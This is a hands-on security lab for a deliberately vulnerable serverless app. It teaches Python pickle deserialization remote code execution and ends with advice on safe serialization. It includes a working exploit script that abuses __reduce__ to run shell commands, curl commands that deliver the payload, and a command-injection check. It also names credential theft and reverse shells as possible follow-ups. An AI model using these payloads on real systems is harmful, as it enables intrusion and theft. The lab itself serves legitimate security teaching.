Lab: Pickle RCE
Objective
Achieve Remote Code Execution on the Lambda function by sending a malicious pickle payload.
Why This Matters
Python’s pickle.loads() executes arbitrary code during deserialization. If an application unpickles data from a user, the attacker controls what code runs on the server. This is not a bug in pickle — it is how pickle works. The bug is trusting user input.
Real-world examples: ML platforms that load untrusted .pkl model files, web applications that accept pickled session data, and data pipelines that deserialize messages from external sources.
The Vulnerable Code
The /deserial endpoint accepts a base64-encoded pickle payload and loads it directly:
@app.route('/deserial', methods=['POST'])
def deserial():
data = base64.urlsafe_b64decode(request.form['pickled'])
pickle.loads(data) # executes arbitrary code
return 'pickled successfully', 200
No validation, no sanitization. Whatever object the payload contains gets deserialized and its code runs.
Steps
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
Step 1 — Create the exploit script
In your Codespace terminal, create a file called exploit.py:
cat > ~/exploit.py << 'EOF'
import pickle, base64
class RCE:
def __reduce__(self):
import os
return (os.system, ('touch /tmp/pwned',))
payload = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
print(payload)
EOF
The __reduce__ method tells pickle how to reconstruct the object. We made it call os.system('touch /tmp/pwned') — this creates a file on the Lambda filesystem to prove we have code execution.
Step 2 — Generate the payload
python3 ~/exploit.py
Copy the base64 string from the output.
Step 3 — Send the payload
curl -X POST "$ENDPOINT/deserial" \
-d "pickled=$(python3 exploit.py)"
Expected response: pickled successfully
The Lambda deserialized our object and ran os.system('touch /tmp/pwned').
Step 4 — Verify code execution
Use the command injection endpoint to check if our file was created:
curl "$ENDPOINT/date?exec=ls%20-la%20/tmp/pwned"
Expected output:
{"output":"-rw-rw-r-- 1 sbx_user1051 990 0 Oct 6 11:10 /tmp/pwned\n"}
The file exists. We achieved Remote Code Execution through deserialization.
Step 5 — Understand the full impact
touch /tmp/pwned is a harmless proof of concept. In a real attack, the payload could:
- Run
printenvto steal AWS credentials (just like the command injection lab) - Download and execute a reverse shell
- Read application source code and configuration
- Exfiltrate data to an attacker-controlled server
Any command that works in the command injection lab works here too — the difference is the entry point.
What Happened
pickle.loads() on untrusted input is equivalent to eval(). The __reduce__ method lets an attacker define arbitrary code that runs automatically when the object is deserialized.
Fix: Never use pickle.loads() on data from users or external sources. Use safe serialization formats like JSON. If you must deserialize structured data, use schema-validated formats (JSON Schema, Pydantic, marshmallow). For ML models, use ONNX or SafeTensors instead of pickle.
- Next step: ReDoS — Regular Expression Denial of Service